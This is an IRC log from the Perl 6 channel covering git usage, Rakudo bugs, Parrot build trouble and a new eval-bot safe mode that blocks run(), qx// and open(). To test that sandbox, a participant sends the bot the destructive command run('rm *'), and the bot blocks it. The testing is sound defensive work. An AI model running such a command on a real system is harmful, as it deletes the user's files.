12:57 pmichaud git clone git@github.com:perl6/perl6-examples.git   # check out copy of repo
12:58 pmichaud git commit <filename> # locally commit changes
12:58 pmichaud git pull # pull changes from github
12:58 pmichaud git push # push locally committed changes to github
12:59 DanielC Ok, I have a copy of the repo. I think I'll make a directory called shootout...
12:59 pmichaud oh yes, and
12:59 pmichaud git add <filename>  # add file to local repo
13:00 pmichaud (same for "git add <dir>")
13:00 DanielC Looks easy enough. These commands are almost identical to Darcs (which I use for my own projects).
13:01 PerlJam good morning #perl6
13:01 DanielC moin
13:01 PerlJam DanielC: does darcs have the concept of a staging area for commits?
13:02 wayland76 DanielC: There's some git stuff on the Rakudo website
13:02 DanielC PerlJam: What is a staging area? Darcs might have a different name for it.
13:02 DanielC Darcs is distributed, like git.
13:02 PerlJam DanielC: with git, when you say "git add foo" that adds whatever changes have been made to foo to the staging area.  you can continue to make changes to foo, but only those changes you've staged will be committed when you "git commit"
13:02 wayland76 You commit to your local repo before committing across the network
13:03 DanielC PerlJam: Yes, Darcs works like that, but they don't give it any particular name.
13:03 DanielC wayland76: Yes, distributed.
13:03 DanielC Except that Darcs has easier branches, because in Darcs every copy of a repo is a branch.
13:04 dakkar DanielC: remember that, in git, you have to 'add' a file each time you modify it (or use "commit -a", check the docs)
13:04 DanielC pmichaud: Should my commit comments follow any particular format?
13:04 dakkar it bit me a couple of times…
13:05 DanielC dakkar: Really? That would have caught me off guard too.
13:05 dakkar edit - add - commit
13:05 PerlJam DanielC: that falls out of having the "staging area" for commits.
13:05 DanielC In Darcs you do 'edit - record' and Darcs asks you which changes you want to record.
13:05 dakkar it derives from the fact that git tracks (primarily) the content, and, only as an afterthought, the names
13:06 PerlJam DanielC: does record also commit?
13:06 PerlJam (I would guess so)
13:06 DanielC PerlJam: record is the Darcs word for "commit locally".
13:06 PerlJam figured as much
13:07 dakkar rakudo: sub foo { ... }; foo()
13:07 p6eval rakudo 8ef347:  ( no output )
13:07 pmichaud dakkar: I've never had to 'add' a file for local modifications.
13:07 dakkar pmichaud: you use "commit -a"
13:07 pmichaud Whenever I want to commit a file, I simply use  "git commit <filename>"
13:07 dakkar oh, right, that works, too
13:07 dakkar if you commit 1 file at a time
13:07 pmichaud one can do that with directories too
13:08 pmichaud git commit <dir>   # commit all changes made in <dir>
13:08 dakkar I end up doing changes in several directories (e.g. for Catalyst apps), and I use 'commit -a' or single 'add's, depending on what I want to happen
13:08 dakkar anyway…
13:08 dakkar did I miss some changes in the spec about '...'?
13:09 DanielC pmichaud: Should my commit comment follow any particular format? Or do I just say "some examples from the Debian shootout"?
13:09 pmichaud DanielC: no particular format required (more)
13:09 pmichaud Many people suggest that the first line be a standalone summary, since some tools will display the first line of the commit message when summarizing commits
13:10 DanielC ok
13:10 masak by the same token, the second line should be empty (if one follows git commit message conventions)
13:10 DanielC I just hit 'git commit' and I am inside a text editor.
13:11 wayland76 Is there a way to create a Rakudo bug through the web interface?
13:11 DanielC masak: Should I add an empty line after my one-line commit message?
13:11 wayland76 I want to add a patch to it :)
13:11 masak DanielC: oh, no need if it's only one line.
13:11 DanielC ok
13:11 pmichaud wayland76: to add a patch, send it as an attachment to the email used to create the rakudobug
13:12 wayland76 Thanks
13:13 DanielC pmichaud: I just pushed the first benchmark to the server. Can you confirm I didn't do anything stupid?
13:14 pmichaud DanielC: it looks fine to me.
13:14 DanielC :-)
13:14 pmichaud DanielC: Also, we tend to work on "forgiveness is better than permission" around here.
13:14 DanielC Ok, when I get other benchmarks ported, I'll push them the same way.
13:14 DanielC :-)
13:14 DanielC @karma DanielC
13:14 lambdabot You have a karma of 3
13:14 DanielC :-D
13:14 PerlJam pmichaud: add me  to perl6-examples too  (that seems like a good place to put my perl 6 play)
13:15 skids joined #perl6
13:15 alester joined #perl6
13:15 pmichaud PerlJam: Added (as "perlpilot").  You ought to add a gravatar image :-)
13:16 dakkar rakudo: sub foo { ... }; foo() # rakudobug?
13:16 p6eval rakudo 8ef347:  ( no output )
13:16 PerlJam I will at some point.
13:16 dakkar rakudo: sub foo { ... }; sub foo { 1 }; say foo() # rakudobug?
13:16 p6eval rakudo 8ef347: OUTPUT«Redefinition of routine foo␤Attempt to execute stub code (...)␤␤»
13:17 wayland76 You're writing a play in Perl 6?
13:17 pmichaud Screenplay, probably.  We're casting Jack Nicholson as Damian.  :-)
13:18 wayland76 rakudo: my $thou; say $thou.WHAT, $thou, $wishest;
13:18 p6eval rakudo 8ef347: OUTPUT«Symbol '$wishest' not predeclared in <anonymous> (/tmp/RdC6HUm5p7:1)␤in Main »
13:18 wayland76 Can we get Harrison Ford to play Larry Wall?
13:20 wayland76 rakudo: my $thou; my $wishest; say $thou.WHAT, $thou, $wishest;
13:20 p6eval rakudo 8ef347: OUTPUT«Failure()Use of uninitialized value␤Use of uninitialized value␤␤»
13:23 wayland76 Ugh!  Updating 8-month-old Perl code to work with new Rakudo :)
13:25 dakkar hmmm. why this happens?
13:25 dakkar rakudo: sub foo { ... }; foo()
13:25 p6eval rakudo 8ef347:  ( no output )
13:25 dakkar rakudo: sub foo { ... }; say foo()
13:25 p6eval rakudo 8ef347: OUTPUT«Attempt to execute stub code (...)␤␤»
13:25 wayland76 How do I indicate that a method returns a scalar
13:25 pmichaud I'm guessing that term:... is implemented wrong.
13:26 dakkar pmichaud: my guess, too. http://perlcabal.org/syn/S06.html#Stub_declarations says it should return a Failure()
13:26 pmichaud dakkar: oh!  Well, that's what it's doing.
13:26 pmichaud rakudo:  sub foo { ... };   say foo().WHAT;
13:26 p6eval rakudo 8ef347: OUTPUT«Failure()␤»
13:26 dakkar argh
13:26 dakkar right
13:27 dakkar not all Failure() are equal
13:27 wayland76 rakudo: class foo { our Scalar multi method pop ( @array: ) is export { "hi"; } }; $t = foo->new(); say $t.pop()
13:27 p6eval rakudo 8ef347: OUTPUT«Malformed declaration at line 1, near "Scalar mul"␤in Main (src/gen_setting.pm:0)␤»
13:27 pmichaud wayland76: why would one need to indicate that a method returns a scalar?
13:28 wayland76 Do I just leave "Scalar" out altogether then, and can still return a value?
13:28 pmichaud wayland76: I suspect you want either Any or Object
13:28 wayland76 Ah, probably :)
13:28 pmichaud or yes, my preference is to leave it out altogether.
13:28 dakkar rakudo: class foo { method pop ( @array: --> Object ) { "hi"; } }; $t = foo->new(); say $t.pop()
13:28 exodist joined #perl6
13:28 p6eval rakudo 8ef347: OUTPUT«Statement not terminated properly at line 1, near "->new(); s"␤in Main (src/gen_setting.pm:0)␤»
13:28 wayland76 ok, great :)
13:28 PerlJam wayland76: besides types are about the values, not their containers
13:29 jnthn std:  class foo { method pop ( @array: --> Object ) { } }
13:29 p6eval std 26942: OUTPUT«ok 00:02 37m␤»
13:30 cmarcelo joined #perl6
13:30 wayland76 jnthn: Thanks.  That's what I really needed :)
13:30 wayland76 (and thanks to all my helpers :) )
13:31 jnthn rakudo:  class foo { method pop ( @array: --> Object ) { } }
13:31 p6eval rakudo 8ef347:  ( no output )
13:34 * ruoso just posted a message about implicit threading and event-loop
13:34 ruoso pmichaud, jnthn, your feedback is very much appreciated
13:36 DanielC Does Rakudo not understand pod? I want to make Rakkudo ignore everything below certain line. How do I do that? I tried "=begin pod" and "=pod" and nothing works.
13:36 masak DanielC: you'd want to do '=begin END', I think.
13:37 DanielC masak: That seems to work (I'm still waiting for output, but it hasn't complained)
13:37 DanielC ah, there's the output.
13:38 DanielC What does "=begin END" do? I thought it was supposed to be "=begin pod"
13:40 literal it's similar to Perl 5's __END__
13:40 wayland76 I suspect =begin pod needs a matching =end pod
13:40 literal wayland76: nah, END is special in that way
13:40 wayland76 Ok
13:40 literal only terminated by end-of-file
13:41 pmichaud "=begin END" doesn't require a closing "=end END"
13:41 literal http://perlcabal.org/syn/S26.html#146123432
13:41 Matt-W it's a bit weird that it causes =begin to behave differently
13:41 pmichaud other than that it's essentially the same.
13:41 DanielC =begin pod .. =end pod also seems to work.
13:41 Matt-W since all other =begin has ends
13:41 wayland76 literal: Yes, I agree.  But the =begin pod he was trying needs a matching =end pod
13:41 wayland76 And that's what I was saying :)
13:41 literal wayland76: ah, I misread
13:45 wayland76 I have two roles that have variables that refer to each other
13:45 wayland76 And the first role generates an error when it refers to the second.
13:46 wayland76 Can I predeclare one
13:46 wayland76 ?
13:46 wayland76 Oh, wait, with ..., right?
13:47 PerlJam or just
13:47 PerlJam role Foo;
13:47 wayland76 Ok, thanks :)
13:47 PerlJam (I don't know if you'll get any redefinition errors or not though, and last time I tried anything with ... it didn't quite work right either)
13:48 wayland76 Works with ... but not the other way
13:48 PerlJam awesome.
13:49 wayland76 (well, passes the parser, anyway -- I'm updating old code, so it just went on to the next error)
13:51 alester joined #perl6
13:52 LylePerl joined #perl6
13:53 PerlJam I hate it when I try to come up with a small test case that reproduces odd behavior only the test case works as expected.
13:54 andrey_grehov joined #perl6
13:55 andrey_grehov hi, guys
13:55 andrey_grehov Just downloaded rakudo, made Configure.pl --gen-parrot and after all got "Unable to locate parrot_config0,00"
13:56 andrey_grehov any ideas ?
13:56 danbeimborn left #perl6
13:56 wayland76 What does "which parrot_config" say?
13:57 moritz_ andrey_grehov: is there a parrot/parrot_config?
13:57 moritz_ andrey_grehov: if no, probably the parrot build failed
13:57 andrey_grehov no
13:57 andrey_grehov there is only parrot/config dir
13:57 wayland76 andrey_grehov: What OS/Distro?
13:58 DanielC rakudo: my $a,$b,$c;
13:58 p6eval rakudo 8ef347: OUTPUT«Symbol '$b' not predeclared in <anonymous> (/tmp/98KbwnbzhG:1)␤in Main (src/gen_setting.pm:3166)␤»
13:58 payload joined #perl6
13:58 DanielC Hmm... I thought brackets were optional now (for lists).
13:58 moritz_ andrey_grehov: try cd parrot; perl Configure.pl; make # and you'll see at which step it fails
13:58 moritz_ DanielC: yes, but signature != list
13:58 andrey_grehov moritz_: k, trying
13:59 DanielC moritz_: I thought the comma was now a list constructor.
13:59 moritz_ DanielC: except in special syntactic constructs
13:59 DanielC :-P
14:00 * DanielC hates special cases.
14:00 moritz_ DanielC: the parsing rules for 'my' is not / 'my' <list> /, but rather / 'my' <signature> /
14:00 andrey_grehov wayland76: (gcc version 3.4.6 (Gentoo 3.4.6-r1, ssp-3.4.5-1.0, pie-8.7.9))
14:00 moritz_ gcc 3.4 is quite old, but I think it should work nonetheless
14:01 pmichaud DanielC: put another way,   my $a,$b,$c  parses as    (my $a), $b, $c
14:01 DanielC ok
14:01 DanielC I can convince myself that the comma is just a low-priority operator (lower than "my")
14:03 DanielC my $cnt = $*IN.slurp; $cnt = uc $cnt;  => Gives an error: no ICU lib loaded in method Any::uc
14:04 Matt-W Convince yourself instead that my doesn't take a list
14:04 DanielC Is there an error in the 'uc' line?
14:04 pmichaud DanielC: no, Parrot wants ICU in order to be able to uppercase utf8 strings.  :-(
14:05 DanielC pmichaud: Did I just fin a bug?
14:05 pmichaud Yes and no.
14:05 DanielC ?
14:05 wayland76 Incidentally, lu_zero is planning on working on a Gentoo package
14:06 pmichaud Parrot doesn't know how to uppercase utf8 strings when ICU isn't present.
14:06 andrey_grehov moritz_: http://pastebin.com/d37fd3e27
14:06 buubot andrey_grehov: The paste d37fd3e27 has been copied to http://erxz.com/pb/17834
14:06 ruoso http://www.perlfoundation.org/perl6/index.cgi?amazing_perl_6
14:07 DanielC What is ICU? How come Parrot had no problem doing 'lc' in my previous benchmark?
14:07 pmichaud DanielC: probably because it was working on an ascii string.
14:07 pmichaud ICU is a library for handling unicode strings.
14:07 moritz_ icu is a Unicode library
14:07 dakkar andrey_grehov: do you have an installed parrot, somewhere?
14:07 DanielC My input should be ascii.
14:08 DanielC In fact, I'm quite positive that it is.
14:08 pmichaud andrey_grehov: it looks like your system already has an (older) version of parrot installed somewhere.
14:08 andrey_grehov dakkar: nope
14:08 pmichaud DanielC: reading from standard input assumes utf8
14:08 andrey_grehov ermm...
14:08 andrey_grehov maybe
14:08 dakkar andrey_grehov: 'locate libparrot' ?
14:08 DanielC pmichaud: But my earlier benchmark was reading the same file from stdin too.
14:08 andrey_grehov sec, i'll check.. it's on my system..
14:08 pmichaud and it was doing "uc" on the strings from the file?
14:09 pmichaud note that using uc on constant strings will typically have them as ascii.
14:09 DanielC pmichaud: Ah... but the other benchmark runs a .subst before it runs 'lc'.
14:09 pmichaud that could be enough to convert the strings to ascii encoding internally
14:09 DanielC pmichaud: So Rakudo must have "converted" to ascii.
14:09 DanielC yeah
14:09 wayland76 andrey_grehov: Is that a "yes, it's there"?
14:09 DanielC I'll test that theory.
14:10 pmichaud DanielC: does your $*IN.slurp example fail for 'lc' also?
14:10 pmichaud or just for 'uc'?
14:10 andrey_grehov wayland76: seems there is no any version of libparrot installed..
14:10 DanielC pmichaud: I'll tell you in a minute. But I can say right now that moving the 'uc' line after the .subst made the problem go away.
14:10 DanielC (now I'm just waiting for Rakudo to finish)
14:11 andrey_grehov locate libparrot gives nothing, locate parrot - only some data in gentoo portage
14:11 pmichaud DanielC: I'm a little surprised that .subst is making a difference there.
14:12 wayland76 Is there a way to create a code reference yet?
14:12 * DanielC kills Rakudo
14:12 moritz_ rakudo: my $c = { say 3 }; say $c.WHAT
14:12 PerlJam wayland76: you mean like my $code = { say "hi" };  ?
14:12 p6eval rakudo 8ef347: OUTPUT«Block()␤»
14:13 wayland76 Ah :)
14:13 wayland76 Thanks :)
14:13 PerlJam wayland76: you can also use pointy blocks if you want parameters
14:13 pmichaud or placeholders :-)
14:13 PerlJam (or implicit parameters of course)
14:13 moritz_ or subs
14:13 wayland76 $usetest = { /$realtest/ };
14:13 DanielC pmichaud: Strangely... the problem is unique to 'uc'.
14:13 wayland76 That's my highly complex code :)
14:14 pmichaud DanielC: that is odd.  Definitely worth a mention in rakudobug
14:14 azawawi joined #perl6
14:14 pmichaud wayland76: note that you don't need the { ... } in that case
14:14 azawawi hello
14:14 DanielC pmichaud: how do I submit a bug report?
14:14 pmichaud $usetest = /$realtest/;
14:14 pmichaud (although Rakudo doesn't know how to handle variables in regexes yet)
14:14 pmichaud DanielC: mailto:rakudobug@perl.org
14:15 DanielC ok
14:15 andrey_grehov no more ideas ?
14:15 wayland76 rakudo: $usetest = /$realtest/; say $usetest.WHAT;
14:15 p6eval rakudo 8ef347: OUTPUT«Symbol '$usetest' not predeclared in <anonymous> (/tmp/igPAYc6USx:1)␤in Main (src/gen_setting.pm:3166)␤»
14:15 pmichaud DanielC: see also the README file
14:15 [particle] rakudo: my $rx = /abc/; print $rx ~~ Block;
14:15 p6eval rakudo 8ef347: OUTPUT«1»
14:15 azawawi pmichaud: given 'package Foo { package Bar { my $foo; } }', is $foo scoped under Foo::Bar or Bar?
14:15 pmichaud azawawi: I don't know.
14:16 pmichaud azawawi: actually, neither, since it's  "my"
14:16 moritz_ I'd say Foo::Bar
14:16 [particle] that's Foo::Bar::$foo
14:16 moritz_ if s/my/our/
14:16 wayland76 andrey_grehov: If you don't get an answer here, you could take the Parrot error that you just got to the #parrot channel
14:16 [particle] packages create new lexical scopes
14:16 azawawi ok
14:16 azawawi thx
14:16 wayland76 andrey_grehov: They're on a different IRC server, though
14:16 moritz_ on irc.perl.org
14:16 andrey_grehov wayland76: oh..thanks
14:17 andrey_grehov moritz_: thanks
14:17 wayland76 andrey_grehov: They're on irc.perl.org
14:17 wayland76 andrey_grehov: And if they fix the Parrot errors, but you still have trouble, we're more likely to be able to help
14:17 andrey_grehov got it
14:18 wayland76 andrey_grehov: Not that we don't want to help, but I personally have no idea :)
14:18 pmichaud andrey_grehov: what happens if you just type "parrot" from the command line (outside of any rakudo or parrot directory)?
14:18 pmichaud or perhaps  "which parrot"
14:19 wayland76 rakudo: my $usetest = /$realtest/; say $usetest.WHAT;
14:19 p6eval rakudo 8ef347: OUTPUT«Regex()␤»
14:19 andrey_grehov wayland76: i see:) np
14:19 andrey_grehov no such command
14:19 andrey_grehov which perl : also nothing
14:19 pmichaud andrey_grehov: okay.
14:19 andrey_grehov which parrot i mean
14:20 pmichaud andrey_grehov: the error you're getting is indeed a bit bizarre then.
14:22 DanielC pmichaud: Email sent.
14:22 pmichaud DanielC++  # thanks
14:22 andrey_grehov pmichaud: from #parrot: "Andrey_Grehov, that's a very interesting error" :)))))
14:24 PerlJam andrey_grehov: that looks like what happens when you try to use an installed parrot versus a dev parrot.
14:24 pmichaud PerlJam: yes, it does look like it, but andrey says there's no other parrot on the system
14:24 andrey_grehov PerlJam: yeah..probably that is the root of evil..
14:24 pmichaud (perhaps there is and it's just hiding somewhere)
14:25 andrey_grehov PerlJam: but I don't see another parrot version installed..
14:26 wayland76 andrey_grehov: Try running updatedb and then re-running the "locate" commands, if no-one else has any better ideas
14:27 pmichaud I would try    "find /usr -name '*parrot*'"
14:28 andrey_grehov ok..let's try this stuff..
14:28 wayland76 Anyway, it's my bedtime.  But remeber everyone, today we got the RPM working :) !!!
14:29 andrey_grehov checked via emerge --search - parrot 0.6.1 [Not installed]
14:29 cmarcelo_ joined #perl6
14:30 andrey_grehov pmichaud: found *parrot* only in /usr/portage/...
14:30 wayland76 'night all, and thanks :)
14:31 pmichaud andrey_grehov: so, it did find parrot stuff?
14:31 andrey_grehov pmichaud: well, it's all relaed to emerge, not an installation ..
14:32 andrey_grehov pmichaud: http://pastebin.com/d1b6bedb
14:32 buubot andrey_grehov: The paste d1b6bedb has been copied to http://erxz.com/pb/17835
14:32 DanielC pmichaud: Can I change the title of my ticket? I don't know how the word "But" ended up there (clearly I wasn't paying attention). It should be something like "Problem" or "Error".
14:32 pmichaud but if emerge provides a libparrot and that is being found by parrot's link stage, then that would explain the errors you're seeing.
14:33 pmichaud andrey_grehov: is there a libparrot somewhere in /usr/portage/... ?
14:33 andrey_grehov nope
14:33 pmichaud very strange.
14:33 pmichaud DanielC: changing the ticket title requires a bugadmin.... I can fix it.
14:33 DanielC thks
14:34 * DanielC makes a mental note... read before hitting "send".
14:36 cmarcelo_ joined #perl6
14:37 masak are the :exists and :delete adverbs (on hash elements) blocking on a parser refactor in Rakudo?
14:39 pmichaud yes.
14:40 masak same one, perchance, as :by on ranges?
14:40 pmichaud yes.
14:40 pmichaud basically it's adverbs on operators.
14:40 masak ok.
14:40 PerlJam Here's a simple bug that took me a few minutes to figure out:   for $fh.get -> $line { next if $line ~~ /^#/;  ... }   # that idiom is so ingrained that I believe it will bite me again in the future  :)
14:41 moritz_ ;-)
14:41 masak PerlJam: learn that you need to quote all non-\w chars for them to be taken literally.
14:41 masak it's really quite a consistent rule. :)
14:41 pmichaud I think PerlJam is referring to the .get
14:41 masak oh.
14:42 PerlJam actually, I wasn't.  I was talking about the regex
14:42 pmichaud although the ^# is also an issue :-)
14:42 pmichaud Oh.
14:42 PerlJam What's wrong with the get?
14:42 pmichaud $fh.get simply returns a single line.
14:42 justatheory joined #perl6
14:42 PerlJam then that works by accident?
14:42 moritz_ it's $fh.lines
14:42 moritz_ used to work
14:42 PerlJam (because it works with .get)
14:42 moritz_ until pmichaud++ fixed it today
14:42 masak 'forget for .get' :)
14:42 pmichaud PerlJam: it works with .get if you have a version of rakudo older than about 8 hours.
14:42 moritz_ (or yesterday, depending on your time zone ;-)
14:43 * PerlJam updates his rakudo
14:43 Matt-W masak++ # witticism
14:44 masak I'll be here all week. Try the veal.
14:44 PerlJam Hrm.  with .lines I get a bunch of "Use of uninitialized value" warnings
14:45 masak that sounds strange.
14:45 PerlJam oh, nevermind, that's coming from a different part of the code.
14:45 PerlJam (I forgot to comment out something)
14:46 Matt-W masak: is it that yummy-looking rose veal I hear so much about?
14:47 masak Matt-W: I think so. I've only tasted it, not seen it.
14:47 PerlJam of course, this is the same bit of code that exhibits weirdness that I can't reproduce in a small test case, so there could be all sorts of other problems too  :)
14:55 abra joined #perl6
14:57 moritz_ so how do I handle a new command line option in Rakudo? do I have to add another stage to the HLLCompiler object?
14:57 jnthn Dispatcher hacking time!
14:57 pmichaud moritz_: what option?
14:58 moritz_ pmichaud: I'm hacking on a basic safemode
14:58 moritz_ pmichaud: to disable run(), qx// and open() for the evalbot
14:59 pmichaud will what you're doing fit in with S19?
14:59 ElectricHeavyLan joined #perl6
15:00 moritz_ pmichaud: dunno, S19 doesn't mention a safe mode
15:00 PerlJam moritz++
15:00 pmichaud could it be done with a module of some sort?
15:00 pmichaud i.e.,   -Msafemode
15:01 moritz_ pmichaud: if -Mmodule is implemented, yes
15:01 pmichaud it's not, afaik
15:01 pmichaud and I think it's now --use=module
15:01 moritz_ that doesn't import stuff.
15:01 moritz_ moritz@trudi:~/rakudo>perl6 --use=Test -e 'plan 1; ok 1'
15:01 moritz_ Could not find non-existent sub plan
15:01 pmichaud right, not implemented.
15:02 moritz_ ah well, that might not be necessary for my case
15:02 moritz_ any objections to creating lib/ to hold Safe.pm or so?
15:02 pmichaud no objection, although rakudo doesn't currently know how to look there.
15:02 moritz_ with PERL6LIB ;-)
15:03 pmichaud and I'm reworking the 'use' logic "right now"
15:03 pmichaud (like, that's what is happening in my other window)
15:03 moritz_ pmichaud: basically my plan is to get something working today, and plug it into evalbot, because tomorrow I'll leave for ~3 weeks
15:04 pmichaud in that case, I'd add another stage.  See the -c example for guidance.
15:04 moritz_ I'll first try the module approach
15:05 moritz_ with inline PIR
15:05 moritz_ not *very* safe, but a start
15:05 pmichaud seems like you might be able to do something like    -e "use Safe; ...code here..."
15:06 pmichaud where Safe.pm simply does the inline PIR to disable the symbols.
15:06 moritz_ I wanted to avoid that
15:06 moritz_ because it migh obscure error message
15:06 pmichaud avoid the inline PIR?
15:06 moritz_ but it's better than nothing, I guess
15:07 moritz_ no, the 'use Safe;' interpolated into the string
15:07 moritz_ but I have to
15:07 moritz_ because --use=Safe doesn't even execute the body of Safe.pm
15:07 pmichaud --use isn't implemented, afaik.
15:12 pmichaud afk, lunch
15:13 dalek rakudo: 5e132db | moritz++ | lib/Safe.pm:
15:13 dalek rakudo: crude initial safe mode
15:13 dalek rakudo: review: http://github.com/rakudo/rakudo/commit/5e132db58d50f00bcef887b4b4a535c15ddc1741
15:17 pugs_svn r26943 | moritz++ | [evalbot] try to use Rakudo's new safe mode
15:18 p6eval joined #perl6
15:19 moritz_ rakudo: run('ls')
15:19 p6eval rakudo bbf2aa:  ( no output )
15:19 moritz_ ah, it's not yet compiled
15:20 donaldh joined #perl6
15:22 * jnthn broke say o?
15:23 jnthn ...a curious achievement.
15:23 moritz_ rakudo: say 3
15:23 p6eval rakudo 5e132d: OUTPUT«in module Safe␤3␤»
15:23 moritz_ ouch.
15:24 decasm joined #perl6
15:24 moritz_ I'll fix that in a few minutes
15:24 moritz_ rakudo: say qx/ls/
15:24 p6eval rakudo 5e132d: OUTPUT«in module Safe␤operation not permitted in safe mode␤in Main (lib/Safe.pm:3)␤»
15:27 jnthn moritz_++
15:29 moritz_ rakudo: say 3
15:29 p6eval rakudo b6640c: OUTPUT«3␤»
15:30 moritz_ rakudo: run('rm *')
15:30 p6eval rakudo b6640c: OUTPUT«operation not permitted in safe mode␤in Main (lib/Safe.pm:25)␤»
15:30 moritz_ rakudo: >
15:30 p6eval rakudo b6640c: OUTPUT«Syntax error at line 2, near ">"␤»
15:30 moritz_ well, it says "at line 2" now ;-)
15:30 dalek rakudo: b6640c2 | moritz++ | lib/Safe.pm:
15:30 dalek rakudo: [Safe.pm] remove debugging statement; add documentation
15:30 dalek rakudo: review: http://github.com/rakudo/rakudo/commit/b6640c252cdbc1a3026ae508864fd20834046f54
15:31 DanielC Question: Can one mix Perl 6 and Parrot assembly language in the same program? You know how in C you can mix in some assembly language if something is performance critical and you can optimize better than the compiler...
15:31 davidad joined #perl6
15:32 andrey_grehov left #perl6
15:36 PerlJam DanielC: yes.  Q:PIR { ... parrot code here ... }
15:37 PerlJam DanielC: Assuming I remember correctly.
15:37 jnthn Of course, doing that means your code won't run on non-Parrot implementations of Perl 6.
15:39 jnthn pmichaud: You'll be happy to know that $x.foo now compiles down to a Parrot method call. :-)
15:40 _Chillance_ joined #perl6
15:40 jnthn lolwtf...the 10,000 method dispatch benchmark in tools/benchmark.pl now runs faster than the 10,000 sub calls one too.
15:41 pmurias joined #perl6
15:42 moritz_ oh wow
15:42 DanielC PerlJam: Cool.
15:42 masak ok, so I now have a working implementation of the .bytes method. http://gist.github.com/118700
15:43 masak running spectests.
15:43 masak I fear it needs heavy review, though, because I basically don't know what I'm doing.
15:43 masak my PIR-fu used to be bad before it deteriorated. :P
15:45 jnthn + $P1 = new 'FixedIntegerArray'
15:45 jnthn + set $P1, 1
15:45 jnthn A 1 element array?
15:45 jnthn oh, I see how you're using it
15:45 masak please explain :)
15:45 jnthn yes, sane.
15:45 DanielC In which language is Parrot written? It'd be cool if Parrot was self-hosting.
15:45 pmurias C
15:45 jnthn DanielC: Well, it's written in C, and C is self hosting, so... ;-)
15:46 DanielC :-)
15:46 pugs_svn r26944 | pmurias++ | [re-smop] capture.delegate
15:46 pugs_svn r26945 | pmurias++ | [re-smop] [re-mildew] fix t/role.t
15:46 PerlJam the FixedIntegerArray is just to get the characters into a FixedInteger?
15:46 jnthn masak: Two bits of feedback.
15:46 masak jnthn: yes, please.
15:46 jnthn PerlJam: No, it's for use with sprintf
15:46 pmurias DanielC: Parrot will propably will be able to run c
15:47 jnthn masak: I find PIR more readable using .local pmc a_good_name_here style register names than $P0
15:47 PerlJam sprintf won't work with an I-reg directly?
15:47 jnthn For stuff that's used over the long term.
15:47 masak jnthn: consider it done.
15:47 jnthn masak: Also
15:47 jnthn masak: Please put it in the setting. You can write it in PIR stuff, but wrap it in a Perl 6 method body.
15:48 masak oki.
15:48 jnthn masak: Then you get junction auto-threading working on it.
15:48 masak this was easier, and I didn't want too many unknowns.
15:48 masak but now I'll definitely do that.
15:48 jnthn masak: Yes, appreciated.
15:48 masak I also think I can avoid the division by 2 if I change the sprintf
15:50 icwiener joined #perl6
15:50 * jnthn digs into getting multi-method dispatch working again properly under the new dispatcher.
15:54 skids jnthn: you can do .local in Q:PIR now?
15:54 jnthn skids: I think you always have been able to?
15:55 * skids doesn't seem to recall that working,
15:55 masak skids: it works.
15:55 skids cool!
15:55 moritz_ rakudo: Q:PIR { .local foo ␤ foo = 3 ␤ print foo }
15:55 jnthn fail
15:55 p6eval rakudo b6640c:  ( no output )
15:55 jnthn .local int foo
15:55 moritz_ rakudo: Q:PIR { .local int foo ␤ foo = 3 ␤ print foo }
15:55 masak there is an example in IO::Socket::INET
15:56 moritz_ yes, just noticed
15:56 p6eval rakudo b6640c:  ( no output )
15:56 jnthn ah, hmm
15:56 moritz_ rakudo: Q:PIR { print 3 }
15:56 p6eval rakudo b6640c: OUTPUT«3»
15:56 moritz_ rakudo: Q:PIR { .local int foo ␤ print 3 }
15:56 p6eval rakudo b6640c: OUTPUT«3»
15:57 moritz_ rakudo: Q:PIR { .local int foo ␤ foo = 3 ␤ print 3 }
15:57 p6eval rakudo b6640c: OUTPUT«3»
15:57 moritz_ rakudo: Q:PIR { .local int foo ␤ foo = 3 ␤ print foo }
15:57 p6eval rakudo b6640c: OUTPUT«3»
15:59 skids moritz_: did you fix it just by using it?  .o0O(WTF)
15:59 masak hm. spectest of the first version done. failures in t/spec/S12-methods/indirect_notation.rakudo and t/spec/S32-num/log.rakudo. seems unrelated -- anything to be concerned about?
15:59 moritz_ masak: log.t should not fail, only have passing TODOs
16:00 jnthn t/spec/S12-methods/indirect_notation.rakudo is known br0ken due to Parrotbug
16:00 moritz_ indirect_notation.t is known to fail with a newer parrot
16:02 masak moritz_: oh right. that's what it has.
16:02 masak yes, I have a newer Parrot. living on the edge.
16:10 pmurias ruoso: hi
16:12 masak new version of the .bytes method, now in the setting, and with descriptive .local names: http://gist.github.com/118700
16:12 pmichaud jnthn: (dispatcher)  excellent!  Any estimate about merging to master?
16:12 pugs_svn r26946 | pmurias++ | [re-mildew] new on punned classes
16:12 masak I don't have time to run spectest now, and I still want to see if I can improve the PIR. I'll commit sometime tonight.
16:13 pmichaud I'm currently working on fixing import and use -- the "is export" in setting isn't working properly atm.
16:13 jnthn pmichaud: Some way off yet.
16:13 pmichaud jnthn: okay.
16:13 pmichaud jnthn: I look forward to it, though :-)
16:13 jnthn pmichaud: This is a pretty sizable refactor.
16:13 jnthn It's going well, it just touches a lot of stuff.
16:13 pmichaud jnthn: yes, I know.  I'm a bit wary of making too many significant changes as long as your branch is outstanding.
16:15 PerlJam $handle.lines seems to always give me an extra line
16:15 masak PerlJam: tell me about it.
16:15 jnthn pmichaud: What changes are you wanting to do? If they're not in the areas of dispatch (and roles, since I need to re-think punning and other stuff there a bit) there's probably small chance of conflict at the moment.
16:15 masak PerlJam: (known bug, that is)
16:15 PerlJam ah
16:16 pmichaud jnthn: well, I have quite a few in the queue.  The big ones are use/import refactoring (very small chance of conflict) and Array/List refactoring (somewhat larger chance of conflict)
16:16 masak PerlJam: it's a Parrot deficiency.
16:16 jnthn pmichaud: use/import, yes, agree.
16:16 pmichaud masak/PerlJam:  it's a Parrot deficiency, but one that we're likely to have to work around.
16:17 iblechbot joined #perl6
16:17 masak pmichaud: one that _every_ HLL is likely to want to work around.
16:17 jnthn pmichaud: I really don't want to block you, but I kinda hit a point where I needed to change a lot of stuff.
16:17 pmichaud jnthn: I don't feel terribly blocked -- I have plenty to work on, including some important refactors.
16:17 pmichaud I just am curious on the eta's and status so I can estimate when to schedule my tasks
16:18 ruoso hi pmurias
16:18 jnthn pmichaud: Let me see how spectest is looking after I've got multi-method dispatch re-worked.
16:18 pmichaud jnthn: excellent
16:18 jnthn pmichaud: That'll give me a good idea of the fallout.
16:21 moritz_ colorline-- # cancelling my booking
16:22 TimToady rakudo: sub foo ($x) { say [1,2,$x].elems }; my @a = <a b c d>; foo(@a)
16:22 p6eval rakudo b6640c: OUTPUT«3␤»
16:22 TimToady rakudo:  my @a = <a b c d>; my $a := @a; say [1,2,$a].elems
